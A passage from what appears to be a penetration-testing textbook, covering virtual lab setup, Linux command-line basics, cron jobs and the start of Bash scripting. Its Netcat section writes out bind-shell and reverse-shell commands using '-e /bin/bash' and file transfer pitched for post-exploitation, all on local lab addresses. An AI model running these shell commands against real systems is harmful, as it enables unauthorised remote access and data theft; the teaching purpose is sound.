so on.)
The latest version of Mozilla Firefox from http://www.mozilla.org/.
Microsoft Security Essentials from http://windows.microsoft.com/en-us/
windows/security-essentials-download/. (Download the latest antivirus signatures, making sure to download the correct version for your 32-bit
Windows install. Don’t turn on automatic sample submission or scan on
install. Also, disable real-time protection for now. We will enable this
feature when we study bypassing antivirus software in Chapter 12. This
setting can be found on the Settings tab under Real-time Protection.
Uncheck Turn on real-time protection (recommended), as shown in
Figure 1-54. Click Save changes.)
Figure 1-54: Turning off real-time protection
Finally, install the BookApp custom web application found in the torrent
for this book. (1stPentestBook?! is the password for the archive.) Drag and
drop the BookApp folder on the Windows 7 virtual machine. Then follow
the instructions in InstallApp.pdf detailing how to install BookApp. Here is
a high-level overview of the instructions.
1. Run Step1-install-iis.bat as an administrator by right-clicking the .bat file
and choosing Run as administrator. (Once install finishes, you can close
any DOS windows that are still up.)
2. Navigate to the SQL folder and run SQLEXPRWT_x86_ENU.EXE. Detailed
instructions with screenshots are included in the InstallApp PDF.
3. Install Service Pack 3 by running SQLServer2008SP3-KB2546951-x86-ENU​
.exe. When warned that program has known compatibility issues, click
OK to run it and complete the install. Choose to accept any changes.
4. Using SQL Server Configuration Manager, enable Named Pipes.
Setting Up Your Virtual Lab 53
5. Navigate back to the main app folder and run Step2-Modify-FW.bat as an
administrator.
6. Install XML support for MS SQL with sqlxml_x86-v4.exe from the SQL
folder.
7. Run Step3-Install-App.bat as an administrator from the main app folder.
8. Use MS SQL Management Studio to run db.sql from the SQL folder, as
described in detail in the InstallApp PDF.
9. Finally, change the user permissions on the AuthInfo.xml file in the book
app folder to give full permissions to IIS_USERS.
Summary
We set up our virtual environment, downloaded and customized Kali Linux
for attacks, configured our virtual network, and configured our target operating systems—Windows XP, Windows 7, and Ubuntu.
In the next chapter, we will get used to working with the Linux command
line, and we’ll be on our way to learning how to use the many pentesting
tools and techniques in this book.
54 Chapter 1
2
Using K ali Linux
You will use Kali Linux as the attack platform throughout this book. Kali, the successor to the popular
BackTrack Linux, is a Debian-based distribution that
comes with a plethora of penetration testing tools
preinstalled and preconfigured. Anyone who’s ever
tried to set up a pentesting box from scratch the day
before a big engagement knows that getting everything working correctly
can be a real pain. Having everything preconfigured in Kali can save a lot
of time and headaches. Kali Linux works just like the standard Debian
GNU/Linux distribution, with a lot of extra tools.
Rather than point and click your way through Kali, you’ll use the Linux
command line because that’s where the real power lies. In this chapter we’ll
look at how to perform some common Linux tasks from the command line.
If you’re already a Linux expert, you can skip this chapter and move on to
Chapter 3; if not, take some time and dive in.
Linux Command Line
The Linux command line looks like this:
[email protected]:~#
Like a DOS prompt or the Mac OS terminal, the Linux command
line gives you access to a command processor called Bash that allows you
to control the system by entering text-based instructions. When you open
the command line you’ll see the prompt [email protected]#. Root is the superuser
on Linux systems, and it has complete control of Kali.
To perform operations in Linux, you enter commands along with any
relevant options. For example, to view the contents of root’s home directory,
enter the command ls as shown here.
[email protected]:~# ls
Desktop
As you can see, there’s not much in the root directory, only a folder
called Desktop.
The Linux Filesystem
In the Linux world, everything is a file: keyboards, printers, network
devices—everything. All files can be viewed, edited, deleted, created,
and moved. The Linux filesystem is made up of a series of directories
that branch off from the root of the filesystem (/).
To see your current directory, enter pwd at the terminal:
[email protected]:~# pwd
/root
Changing Directories
To move to another directory, enter cd directory using either the absolute or
relative path to the new directory, based your current location. The absolute
path is the path to a file in relation to the root directory (/). For example, to
change to your desktop from anywhere, you could enter the absolute path
to the desktop with cd /root/Desktop to reach the root user’s desktop. If you
were in the directory /root (the root user’s home directory), you could use
the relative path to the desktop (that is, relative to your current location) by
entering cd Desktop, which would also take you to the desktop.
The command cd .. takes you back one level in the filesystem, as
shown here.
[email protected]:~/Desktop# cd ..
[email protected]:~/# cd ../etc
[email protected]:/etc#
56 Chapter 2
Entering cd .. from root’s Desktop directory takes us back to root’s home
directory. Entering cd ../etc from there moves us back up to the root of the
filesystem and then to the /etc directory.
Learning About Commands: The Man Pages
To learn more about a command and its options and arguments, you can
view its documentation (called its manual page, or man page) by entering man
command. For example, to learn more about the ls command enter man ls as
shown in Listing 2-1.
[email protected]:~# man ls
LS(1)
User Commands
LS(1)
NAME
ls - list directory contents
SYNOPSIS
ls [OPTION]... [FILE]... u
DESCRIPTION v
List information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor --sort is specified.
Mandatory
too.
arguments
to
long
options are mandatory for short options
-a, --all w
do not ignore entries starting with .
-A, --almost-all
do not list implied . and ..
--snip--l
use a long listing format
--snip-Listing 2-1: Linux man page
The man page gives useful (if a bit unfriendly looking) information
about the ls command including its usage u, description v, and available
options w.
As you can see in the description section at v, the ls command lists all
files in the current working directory by default, but you can also use ls to
get information about a particular file. For example, according to the man
page you can use the -a option with ls to show all files, including hidden
directories—directories not shown in the default ls listing—as shown in
Listing 2-2.
Using Kali Linux 57
[email protected]:~# ls -a
.
..
.android
.bash_history
--snip--
.mozilla
.msf4
.mysql_history
.nano_history
Listing 2-2: Using an option with ls
As you can see, there are several hidden directories in the root directory, all of which are preceded by a period (.) character. (In Chapter 8,
we’ll see how these sometimes-hidden directories can lead to a system compromise.) You can also see the entries . and .., which denote the current
directory and the parent directory, respectively.
User Privileges
Linux user accounts offer resources to a particular individual or service.
A user may log in with a password and be offered certain resources on the
Linux system, such as the ability to write files and browse the Internet.
That user may not be able to see files that belong to other users and can
have reasonable assurance that other users can’t see his or her files either.
In addition to traditional user accounts used by a person who logs in with a
password and accesses the system, Linux systems can allow software to have
a user account. The software can have the ability to use system resources
to do its job, but it cannot read other users’ private files. The accepted best
practice on Linux systems is to run day-to-day commands as an unprivileged
user account instead of running everything as the privileged root user to
avoid inadvertently harming your system or granting excessive privilege to
the commands and applications you run.
Adding a User
By default, Kali offers only the privileged root account. Though many
security tools require root privileges to run, you may want to add another
unprivileged account for everyday use to reduce the potential for damage
to your system. Remember, the root account can do anything on Linux,
including corrupting all of your files.
To add a new user georgia to your Kali system use the adduser command,
as shown in Listing 2-3.
[email protected]:~# adduser georgia
Adding user `georgia' ...
Adding new group `georgia' (1000) ...
Adding new user `georgia' (1000) with group `georgia' ... u
Creating home directory `/home/georgia' ... v
Copying files from `/etc/skel' ...
Enter new UNIX password: w
Retype new UNIX password:
58 Chapter 2
passwd: password updated successfully
Changing the user information for georgia
Enter the new value, or press ENTER for the default
Full Name []: Georgia Weidman x
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] Y
Listing 2-3: Adding a new user
As you can see, in addition to adding a user to the system, a group georgia
is created, a new user is added to this group u, a home directory is created
for the user v, and the system prompts for information about the user, such
as a password w and the user’s full name x.
Adding a User to the sudoers File
When you need to do something that requires root privileges as a regular
user, use the sudo command along with the command that you want to run
as root, and then enter your password. For the newly created user georgia
to be able to run privileged commands you need to add her to the sudoers
file, which specifies which users can use the sudo command. To do so, enter
adduser username sudo as shown here.
[email protected]:~# adduser georgia sudo
Adding user 'georgia' to group `sudo' ...
Adding user georgia to group sudo
Done.
Switching Users and Using sudo
To switch users in your terminal session, say from the root user to georgia,
use the su command as shown in Listing 2-4.
[email protected]:~# su georgia
[email protected]:/root$ adduser john
bash: adduser: command not found u
[email protected]:/root$ sudo adduser john
[sudo] password for georgia:
Adding user `john' ... v
Adding new group `john' (1002) ...
Adding new user `john' (1002) with group `john' ...
[email protected]:/root$ su
Password:
[email protected]:~#
Listing 2-4: Switching to a different user
Using Kali Linux 59
You switch users with the su command. If you try to run commands
(such as the adduser command) that require more privileges than the current user (georgia), the command is unsuccessful (command not found) u
because you can run the adduser command only as root.
Luckily, as discussed previously, you can use the sudo command to run
a command as root. Because the georgia user is a member of the sudo group,
you can run privileged commands, and you can see user john is added v to
the system.
To change back to the root user, enter the su command with no username. You will be prompted for the root’s password (toor).
Creating a New File or Directory
To create a new, empty file called myfile, use the touch command.
[email protected]:# touch myfile
To create a new directory in your current working directory, enter mkdir
directory as shown here.
[email protected]:~# mkdir mydirectory
[email protected]:~# ls
Desktop
mydirectory
[email protected]:~# cd mydirectory/
myfile
Use ls to confirm that the new directory has been created, and then
change to mydirectory using cd.
Copying, Moving, and Removing Files
To copy a file, use the cp command as shown here.
[email protected]:/mydirectory# cp /root/myfile myfile2
The syntax is cp source destination. When using cp, the original file is
left in place, and a copy is made at the desired destination.
Similarly, you can move a file from one location to another using the
mv command. The syntax is identical to cp, but this time the file is removed
from the source location.
You can remove a file from the filesystem by entering rm file. To
remove files recursively use the -r command.
WARNING 60 Chapter 2
Be careful when removing files, particularly recursively! Some hackers joke that the
first command to teach Linux beginners is rm -rf from the root directory, which forcibly deletes the entire filesystem. This teaches new users the power of performing actions
as root. Don’t try that at home!
Adding Text to a File
The echo command echoes what you enter to the terminal, as shown here.
[email protected]:/mydirectory# echo hello georgia
hello georgia
To save text to a file, you can redirect your input to a file instead of to
the terminal with the > symbol.
[email protected]:/mydirectory# echo hello georgia > myfile
To see the contents of your new file you can use the cat command.
[email protected]:/mydirectory# cat myfile
hello georgia
Now echo a different line of text into myfile as shown next.
[email protected]:# echo hello georgia again > myfile
[email protected]:/mydirectory# cat myfile
hello georgia again
The > overwrites the previous contents of the file. If you echo another
line into myfile, that new line overwrites the output of the previous command. As you can see, the contents of myfile now reads hello georgia again.
Appending Text to a File
To append text to a file, use >> as shown here.
[email protected]:/mydirectory# echo hello georgia a third time >> myfile
[email protected]:/mydirectory# cat myfile
hello georgia again
hello georgia a third time
As you can see, appending preserves the previous contents of the file.
File Permissions
If you look at the long output of ls -l on myfile, you can see the current permissions for myfile.
[email protected]:~/mydirectory# ls -l myfile
-rw-r--r-- 1 root root 47 Apr 23 21:15 myfile
From left to right you see the file type and permissions (-rw-r—r--), the
number of links to the file (1), the user and group that own the file (root),
the file size (47 bytes), the last time the file was edited (April 23, 21:15), and
finally the filename (myfile).
Using Kali Linux 61
Linux files have permissions to read (r), write (w), and execute (x) and
three sets of user permissions: permissions for the owner, the group, and
all users. The first three letters denote the permissions for the owner, the
following three denote the permissions for the group, and the final three
denote the permissions for all users. Since you created myfile from the root
user account, the file is owned by user root and group root, as you can see in
the output with root root. User root has read and write permissions for the
file (rw). Other users in the group, if there are any, can read the file (r) but
not write to or execute it. The last r shows that all users on the filesystem
can read the file.
To change permissions on a file, use the chmod command. You can use
chmod to specify permissions for the owner, the group, and the world. When
specifying permissions use the numbers from 0 through 7 as shown in
Table 2-1.
Table 2-1: Linux File Permissions
Integer Value
Permissions
Binary Representation
7
full
111
6
read and write
110
5
read and execute
101
4
read only
100
3
write and execute
011
2
write only
010
1
execute only
001
0
none
000
When entering new file permissions, you use one digit for the owner,
one for the group, and one for world. For example, to give the owner full
permissions but the group and the world no permissions to read, write, or
execute a file, use chmod 700 like this:
[email protected]:~/mydirectory# chmod 700 myfile
[email protected]:~/mydirectory# ls -l myfile
-rwx------u 1 root root 47 Apr 23 21:15 myfile
Now when you run the ls -l command on myfile, you can see that root
has read, write, and execute (rwx) permissions and the other sets are blank u.
If you try to access the file as any user other than root, you’ll get a permission denied error.
Editing Files
Perhaps no debate brings out such passion among Linux users as which is
the best file editor. We’ll look at the basics of using two popular editors, vi
and nano, beginning with my favorite, nano.
62 Chapter 2
[email protected]:~/mydirectory# nano testfile.txt
Once in nano you can begin adding text to a new file called testfile.txt.
When you open nano, you should see a blank file with help information for
nano shown at the bottom of the screen, as shown here.
^G Get Help
^X Exit
^O WriteOut
^J Justify
[ New File ]
^R Read File ^Y Prev Page ^K Cut Text ^C Cur Pos
^W Where Is ^V Next Page ^U UnCut Text^T To Spell
To add text to the file, just start typing.
Searching for Text
To search for text in a file, use ctrl-W, and then enter the text to search for
at the search prompt as shown next.
--snip-Search:georgia
^G Get Help ^Y First Line^T Go To Line^W Beg of ParM-J FullJstifM-B Backwards
^C Cancel
^V Last Line ^R Replace
^O End of ParM-C Case SensM-R Regexp
Nano should find the text georgia if the word is in the file. To exit,
press ctrl-X. You will be prompted to save the file or lose the changes,
as shown here:
--snip-Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ? Y
Y Yes
N No
^C Cancel
Enter Y to save the file. Now we’ll edit the file with the vi editor.
Editing a File with vi
Add the text in Listing 2-5 to testfile.txt. In addition to the contents of the
file, at the bottom of the vi screen you see some information including the
filename, number of lines, and the current cursor position (see Listing 2-5).
[email protected]:~/mydirectory# vi testfile.txt
hi
georgia
we
are
teaching
pentesting
today
~
"testfile.txt" 7L, 46C
All
1,1
Listing 2-5: Editing files with vi
Using Kali Linux 63
Unlike nano, you can’t just start editing the file once it is opened in vi.
To edit a file, enter I to put vi into insert mode. You should see the word
INSERT displayed at the bottom of your terminal. Once you’ve finished
making changes, press esc to exit insert mode and return to command
mode. Once in command mode, you can use commands to edit your text.
For example, position the cursor at the line we and enter dd to delete the
word we from the file.
To exit vi, enter :wq to tell vi to write the changes to the file and quit,
as shown in Listing 2-6.
hi
georgia
are
teaching
pentesting
today
:wq
Listing 2-6: Saving changes in vi
NOTE To learn more about available commands for vi and nano, read the corresponding
man pages.
Which editor you use daily is up to you. Throughout this book we’ll use
nano to edit files, but feel free to substitute your editor of choice.
Data Manipulation
Now for a bit of data manipulation. Enter the text in Listing 2-7 in myfile
using your desired text editor. The file lists some of my favorite security
conferences and the months when they typically happen.
[email protected]:~/mydirectory# cat myfile
1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Blackhat July
5 Bsides *
6 HackerHalted October
7 Hackcon April
Listing 2-7: Example list for data manipulation
64 Chapter 2
Using grep
The command grep looks for instances of a text string in a file. For example,
to search for all instances of the string September in our file, enter grep
September myfile as follows.
[email protected]:~/mydirectory# grep September myfile
1 Derbycon September
3 Brucon September
As you can see, grep tells us that Derbycon and Brucon are in September.
Now suppose you want only the names of the conferences in Septem­
ber but not the number or the month. You can send the output of grep to
another command for additional processing using a pipe (|). The cut command allows you to take each line of input, choose a delimiter, and print
specific fields. For example, to get just the names of conferences that run in
September you can grep for the word September as you did previously. Next,
you pipe (|) the output to cut, where you specify a space as the delimiter
with the -d option and say you want the second field with the field (-f)
option, as shown here.
[email protected]:~/mydirectory# grep September myfile | cut -d " " -f 2
Derbycon
Brucon
The result, as you can see, is that by piping the two commands together
you get just the conferences Derbycon and Brucon.
Using sed
Another command for manipulating data is sed. Entire books have been
written about using sed, but we’ll cover just the basics here with a simple
example of finding a specific word and replacing it.
The sed command is ideal for editing files automatically based on certain patterns or expressions. Say, for instance, you have a very long file,
and you need to replace every instance of a certain word. You can do this
quickly and automatically with the sed command.
In the language of sed, a slash (/) is the delimiter character. For
example, to replace all instances of the word Blackhat with Defcon in myfile,
enter sed 's/Blackhat/Defcon/' myfile, as shown in Listing 2-8.
[email protected]:~/mydirectory# sed 's/Blackhat/Defcon/' myfile
1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Defcon July
5 Bsides *
6 HackerHalted October
7 Hackcon April
Listing 2-8: Replacing words with sed
Using Kali Linux 65
Pattern Matching with awk
Another command line utility for pattern matching is the awk command.
For example, if you want to find conferences numbered 6 or greater, you
can use awk to search the first field for entries greater than 5, as shown here.
[email protected]:~/mydirectory# awk '$1 >5' myfile
6 HackerHalted October
7 Hackcon April
Or, if you want only the first and third words in every line, you can
enter awk '{print $1,$3;}' myfile, as shown in Listing 2-9.
[email protected]:~/mydirectory# awk '{print $1,$3;}' myfile
1 September
2 January
3 September
4 July
5 *
6 October
7 April
Listing 2-9: Selecting certain columns with awk
NOTE We’ve looked at only simple examples of using these data manipulation utilities in
this section. To get more information, consult the man pages. These utilities can be
powerful time-savers.
Managing Installed Packages
On Debian-based Linux distributions such as Kali Linux, you can use the
Advanced Packaging Tool (apt) to manage packages. To install a package,
enter apt-get install package. For example, to install Raphael Mudge’s front­
end for Metasploit, Armitage, in Kali Linux, enter the following:
[email protected]:~# apt-get install armitage
It’s that easy: apt installs and configures Armitage for you.
Updates are regularly released for the tools installed on Kali Linux. To
get the latest versions of the packages already installed, enter apt-get upgrade.
The repositories Kali uses for packages are listed in the file /etc/apt/sources​
.list. To add additional repositories, you can edit this file and then run
the command apt-get update to refresh the database to include the new
repositories.
66 Chapter 2
Note
This book is built off the base install of Kali 1.0.6 unless otherwise noted in
Chapter 1, so in order to follow along with the book as is, don’t update Kali.
Processes and Services
In Kali Linux you can start, stop, or restart services using the service command. For example, to start the Apache web server, enter service apache2
start as shown next.
[email protected]:~/mydirectory# service apache2 start
[....] Starting web server: apache2: Could not reliably determine the server's
fully qualified domain name, using 127.0.1.1 for ServerName
. ok
Likewise, to stop the MySQL database server, enter service mysql stop.
Managing Networking
When setting up the Kali Linux virtual machines in Chapter 1, you
used the ifconfig command to view network information as shown in
Listing 2-10.
[email protected]:~# ifconfig
eth0u
Link encap:Ethernet HWaddr 00:0c:29:df:7e:4d
inet addr:192.168.20.9v Bcast:192.168.20.255 Mask:255.255.255.0w
inet6 addr: fe80::20c:29ff:fedf:7e4d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1756332 errors:930193 dropped:17 overruns:0 frame:0
TX packets:1115419 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1048617759 (1000.0 MiB) TX bytes:115091335 (109.7 MiB)
Interrupt:19 Base address:0x2024
--snip-Listing 2-10: Viewing networking information with ifconfig
From the output of ifconfig you can glean a lot of information about
your system’s network state. For one, the network interface is called eth0 u.
The IPv4 address (inet addr) that my Kali box uses to talk to the network
is 192.168.20.9 v (yours will probably differ). An IP address is a 32-bit label
assigned to devices in a network. The IP address is named up of 4 octets,
or 8-bit parts.
Using Kali Linux 67
The address’s network mask, or netmask (Mask), at w identifies which parts
of the IP address are part of the network and which parts belong to the
host. In this case the netmask 255.255.255.0 tells you that the network is the
first three octets, 192.168.20.
The default gateway is where your host routes traffic to other networks.
Any traffic destined outside the local network will be sent to the default
gateway for it to figure out where it needs to go.
[email protected]:~# route
Kernel IP routing table
Destination
Gateway
default
192.168.20.1u
192.168.20.0
*
Genmask
0.0.0.0
255.255.255.0
Flags Metric Ref
UG
0
0
U
0
0
Use Iface
0 eth0
0 eth0
The route command output tells us that the default gateway is
192.168.20.1 u. This makes sense because the system with the IP
address 192.168.20.1 is the wireless router in my home network. Take
note of your own default gateway for use in the following section.
Setting a Static IP Address
By default, your network connection uses dynamic host configuration
protocol (DHCP) to pull an IP address from the network. To set a static
address, so that your IP address won’t change, you need to edit the file
/etc/network/interfaces. Use your preferred editor to open this file. The
default configuration file is shown in Listing 2-11.
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
Listing 2-11: The default /etc/network/interfaces file
To give your system a static IP address you need to add an entry for the
eth0 interface. Add the text shown in Listing 2-12 to /etc/network/interfaces
with the IP addresses changed to match your environment.
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static u
address 192.168.20.9
68 Chapter 2
netmask 255.255.255.0 v
gateway 192.168.20.1 w
Listing 2-12: Adding a static IP address
You set the IP address for eth0 as static at u. Use the IP address, netmask , and gateway  you found in the previous section to fill in the
information in your file.
Once you’ve made these changes, restart networking with service
networking restart so that the newly added static networking information
will be used.
Viewing Network Connections
To view network connections, listening ports, and so on, use the netstat
command. For example, you can see the programs listening on TCP ports
by issuing the command netstat -antp, as shown in Listing 2-13. Ports are
simply software-based network sockets that listen on the network to allow
remote systems to interact with programs on a system.
[email protected]:~/mydirectory# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address
Foreign Address
PID/Program name
tcp6
0
0 :::80
:::*
15090/apache2
State
LISTEN
Listing 2-13: Using netstat to view listening ports
You see that the Apache web server you started earlier in the chapter is
listening on TCP port 80. (See the man page for other netstat options.)
Netcat: The Swiss Army Knife of TCP/IP Connections
As the man page notes, the Netcat tool is known as the Swiss Army knife
for TCP/IP connections. It’s a versatile tool that we’ll utilize throughout
this book.
To see Netcat’s various options enter nc -h, as shown in Listing 2-14.
[email protected]:~# nc -h
[v1.10-40]
connect to somewhere:
nc [-options] hostname port[s] [ports] ...
listen for inbound:
nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename
program to exec after connect [dangerous!!]
-b
allow broadcasts
--snip-Listing 2-14: Netcat help information
Using Kali Linux 69
Check to See If a Port Is Listening
Let’s have Netcat connect to a port to see if that port is listening for connections. You saw previously that the Apache web server is listening on port 80
on your Kali Linux system. Tell Netcat to attach to port 80 verbosely, or output rich, with the -v option as shown next. If you started Apache correctly,
you should see the following when attempting to connect the service.
[email protected]:~# nc -v 192.168.20.9 80
(UNKNOWN) [192.168.20.10] 80 (http) open
As you can see, Netcat reports that port 80 is indeed listening (open) on
the network. (We’ll look more at open ports and why they are interesting in
Chapter 5’s discussion of port scanning.)
You can also listen on a port for an incoming connection using Netcat,
as shown next.
[email protected]:~# nc -lvp 1234
listening on [any] 1234 ...
You use the options l for listen, v for verbose, and p to specify the port
to listen on.
Next, open a second terminal window and use Netcat to connect to the
Netcat listener.
[email protected]:~# nc 192.168.20.9 1234
hi georgia
Once you connect, enter the text hi georgia, and when you return to the
listener’s terminal window, you see that a connection was received and your
text was printed.
listening on [any] 1234 ...
connect to [192.168.20.9] from (UNKNOWN) [192.168.20.9] 51917
hi georgia
Close down both Netcat processes by pressing ctrl-C.
Opening a Command Shell Listener
Now for something a bit more interesting. When you set up your Netcat
listener, use the -e flag to tell Netcat to execute /bin/bash (or start a Bash
command prompt) when a connection is received. This allows anyone who
connects to the listener to execute commands on your system, as shown next.
[email protected]:~# nc -lvp 1234 -e /bin/bash
listening on [any] 1234 ...
Again, use a second terminal window to connect to the Netcat listener.
70 Chapter 2
[email protected]:~# nc 192.168.20.9 1234
whoami
root
You can now issue Linux commands to be executed by the Netcat listener. The whoami Linux command will tell you the current logged-in user.
In this case, because the Netcat process was started by the root user, your
commands will be executed as root.
NOTE This is a simple example because both your Netcat listener and the connection are on
the same system. You could use another of your virtual machines, or even your host
system, for this exercise as well.
Close down both Netcat processes again.
Pushing a Command Shell Back to a Listener
In addition to listening on a port with a command shell, you can also push
a command shell back to a Netcat listener. This time set up the Netcat listener without the -e flag as shown next.
[email protected]:~# nc -lvp 1234
listening on [any] 1234 ...
Now open a second terminal, and connect back to the Netcat listener
you just created as shown here.
[email protected]:~# nc 192.168.20.9 1234 -e /bin/bash
Connect with Netcat as usual, but this time use the -e flag to execute
/bin/bash on the connection. Back in your first terminal you see a connection as shown next, and if you enter terminal commands, you will see them
executed. (We’ll learn more about listening with /bin/bash on a local port
and actively pushing /bin/bash with a connection, known as bind shells and
reverse shells, respectively, in Chapter 4.)
listening on [any] 1234 ...
connect to [192.168.20.9] from (UNKNOWN) [192.168.20.9] 51921
whoami
root
Now, one more thing with Netcat. This time, instead of outputting what
comes into your listener to the screen, use > to send it to a file as shown next.
[email protected]:~# nc -lvp 1234 > netcatfile
listening on [any] 1234 ...
In the second terminal you set up Netcat to connect, but this time you
use the < symbol to tell it to send the contents of a file (myfile) over the
Using Kali Linux 71
Netcat connection. Give Netcat a second or two to finish, and then examine
the contents of the file netcatfile created by your first Netcat instance. The
contents should be identical to myfile.
[email protected]:~# nc 192.168.20.9 1234 < mydirectory/myfile
You have used Netcat to transfer the file. In this case we’ve simply transferred the file from one directory to another, but you can imagine how this
technique can be used to transfer files from system to system—a technique
that often comes in handy in the post-exploitation phase of a pentest, once
you have access to a system.
Automating Tasks with cron Jobs
The cron command allows us to schedule tasks to automatically run at a
specified time. In the /etc directory in Kali, you can see several files and
directories related to cron, as shown in Listing 2-15.
[email protected]:/etc# ls | grep cron
cron.d
cron.daily
cron.hourly
cron.monthly
crontab
cron.weekly
Listing 2-15: crontab files
The cron.daily, cron.hourly, cron.monthly, and cron.weekly directories specify scripts that will run automatically, every day, every hour, every month, or
every week, depending on which directory you put your script in.
If you need more flexibility you can edit cron’s configuration file, /etc/
crontab. The default text is shown in Listing 2-16.
#
#
#
#
#
/etc/crontab: system-wide crontab
Unlike any other crontab you don't have to run the `crontab'
command to install the new version when you edit this file
and files in /etc/cron.d. These files also have username fields,
that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h
17 *
25 6
47 6
52 6
#
dom
* *
* *
* *
1 *
mon dow
* root
* root
7 root
* root
user command
cd / && run-parts --report
test -x /usr/sbin/anacron ||
test -x /usr/sbin/anacron ||
test -x /usr/sbin/anacron ||
Listing 2-16: crontab configuration file
72 Chapter 2
/etc/cron.hourly u
( cd / && run-parts --report /etc/cron.daily ) v
( cd / && run-parts --report /etc/cron.weekly )
( cd / && run-parts --report /etc/cron.monthly )
The fields in a crontab are, from left to right, the minute, hour, day of
the month, month, day of the week, user who will run the command, and,
finally, the command to be run. To run a command every day of the week,
every hour, and so on, you use an asterisk (*) instead of specifying a value
for the column.
For example, look at the first crontab line at u, which runs the hourly
cron jobs specified in /etc/cron.hourly. This crontab runs on the 17th minute
of every hour every day of every month on every day of the week. The line
at v says that the daily crontab (/etc/cron.daily) will be run at the 25th minute of the 6th hour of every day of every month on every day of the week. (For
more flexibility, you can add a line here instead of adding to the hourly, daily,
weekly, or monthly lists.)
Summary
In this chapter we’ve looked at some common Linux tasks. Navigating the
Linux filesystem, working with data, and running services are all skills that
will serve you well as you move through the rest of this book. In addition,
when attacking Linux systems, knowing which commands to run in a Linux
environment will help you make the most of successful exploitation. You
may want to automatically run a command periodically by setting up a cron
job or use Netcat to transfer a file from your attack machine. You will use
Kali Linux to run your attacks throughout this book, and one of your target
systems is Ubuntu Linux, so having the basics in place will make learning
pentesting come more naturally.
Using Kali Linux 73
3
Progr amming
In this chapter we will look at some basic examples
of computer programming. We will look at writing
programs to automate various useful tasks in multiple
programming languages. Even though we use prebuilt
software for the majority of this book, it is useful to be
able to create your own programs.
Bash Scripting
In this section we’ll look at using Bash scripts to run several commands
at once. Bash scripts, or shell scripts, are files that include multiple terminal
commands to be run. Any command we can run in a terminal can be run
in a script.
Ping
We’ll call our first script pingscript.sh. When it runs, this script will perform
a ping sweep on our local network that sends Internet Control Message
Protocol (ICMP) messages to remote systems to see if they respond.
We’ll use the ping tool to determine which hosts are reachable on a network. (Although some hosts may not respond to ping requests and may be
up despite not being “pingable,” a ping sweep is still a good place to start.)
By default, we supply the IP address or hostname to ping. For example, to
ping our Windows XP target, enter the bold code in Listing 3-1.
[email protected]:~/# ping 192.168.20.10
PING 192.168.20.10 (192.168.20.10) 56(84) bytes of data.
64 bytes from 192.168.20.10: icmp_req=1 ttl=64 time=0.090 ms
64 bytes from 192.168.20.10: icmp_req=2 ttl=64 time=0.029 ms
64 bytes from 192.168.20.10: icmp_req=3 ttl=64 time=0.038 ms
64 bytes from 192.168.20.10: icmp_req=4 ttl=64 time=0.050 ms
^C
--- 192.168.20.10 ping statistics --4 packets transmitted, 4 received, 0% packet loss, time 2999 ms
rtt min/avg/max/mdev = 0.029/0.051/0.090/0.024 ms
Listing 3-1: Pinging a remote host
We can tell from the ping output that the Windows XP target is up
and responding to ping probes because we received replies to our ICMP
requests. (The trouble with ping is that it will keep running forever unless
you stop it with ctrl-C.)
A Simple Bash Script
Let’s begin writing a simple Bash script to ping hosts on the network. A good
place to start is by adding some help information that tells your users how
to run your script correctly.
#!/bin/bash
echo "Usage: ./pingscript.sh [network]"
echo "example: ./pingscript.sh 192.168.20"
The first line of this script tells the terminal to use the Bash interpreter.
The next two lines that begin with echo simply tell the user that our ping
script will take a command line argument (network), telling the script which
network to ping sweep (for example, 192.168.20). The echo command will
simply print the text in quotes.
note
This script implies we are working with a class C network, where the first three octets
of the IP address make up the network.
After creating the script, use chmod to make it executable so we can run it.
[email protected]:~/# chmod 744 pingscript.sh
76 Chapter 3
Running Our Script
Previously, when entering Linux commands, we typed the command
name at the prompt. The filesystem location of built-in Linux commands
as well as pentest tools added to Kali Linux are part of our PATH environmental variable. The PATH variable tells Linux which directories to search
for executable files. To see which directories are included in our PATH,
enter echo $PATH.
[email protected]:~/# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Notice in the output that the /root directory is not listed. That means that
we won’t be able to simply enter pingscript.sh to run our Bash script. Instead
we’ll enter ./pingscript.sh to tell the terminal to run the script from our
current directory. As shown next, the script prints the usage information.
[email protected]:~/# ./pingscript.sh
Usage: ./pingscript.sh [network]
example: ./pingscript.sh 192.168.20
Adding Functionality with if Statements
Now let’s add in a bit more functionality with an if statement, as shown in
Listing 3-2.
#!/bin/bash
if [ "$1" == "" ] u
then v
echo "Usage: ./pingscript.sh [network]"
echo "example: ./pingscript.sh 192.168.20"
fi w
Listing 3-2: Adding an if statement
Typically a script needs to print usage information only if the user
uses it incorrectly. In this case, the user needs to supply the network to
scan as a command line argument. If the user fails to do so, we want to
inform the user how to run our script correctly by printing the usage
information.
To accomplish this, we can use an if statement to see if a condition is
met. By using an if statement, we can have our script echo the usage information only under certain conditions—for example, if the user does not
supply a command line argument.
The if statement is available in many programming languages, though
the syntax varies from language to language. In Bash scripting, an if statement is used like this: if [condition], where condition is the condition that
must be met.
Programming 77
In the case of our script, we first see whether the first command line
argument is null u. The symbol $1 represents the first command line argument in a Bash script, and double equal signs (==) check for equality. After
the if statement, we have a then statement v. Any commands between the
then statement and the fi (if backward) w are executed only if the conditional statement is true—in this case, when the first command line argument to the script is null.
When we run our new script with no command line argument, the if
statement evaluates as true, because the first command line argument is
indeed null, as shown here.
[email protected]:~/# ./pingscript.sh
Usage: ./pingscript.sh [network]
example: ./pingscript.sh 192.168.20
As expected we see usage information echoed to the screen.
A for Loop
